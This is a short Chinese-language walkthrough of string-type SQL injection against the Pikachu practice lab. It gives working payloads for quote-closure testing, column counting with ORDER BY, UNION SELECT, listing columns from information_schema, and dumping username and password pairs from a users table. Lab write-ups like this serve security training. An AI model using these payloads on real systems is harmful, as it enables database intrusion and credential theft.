pikachu之sql lnjet 字符型注入

先测试一下闭合

• 注释符号：--+ 注释符号可以忽略其后的内容，使得后续的原始查询内容不会影响我们注入的SQL代码。

• 条件测试：通过and 1=1和and 1=2分别测试真假条件，可以判断输入是否成功闭合，并且可以检测注入是否成功。

kobe' and 1=1 --+和kobe' and 1=2 --+可以通过条件测试和注释符号，帮助我们确认输入是否能成功闭合，从而测试SQL注入漏洞的存在。

判断一下字段数

kobe' order by 1--+正常显示

kobe' order by 2--+正常显示

kobe' order by 3--+显示unknown

kobe' union select 1,2  --+

下一步查数据库

查到了数据库进一步查表

查字段kobe' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')  --+

查username password

kobe' union select 1,(select group_concat(username,'=',password) from users) --+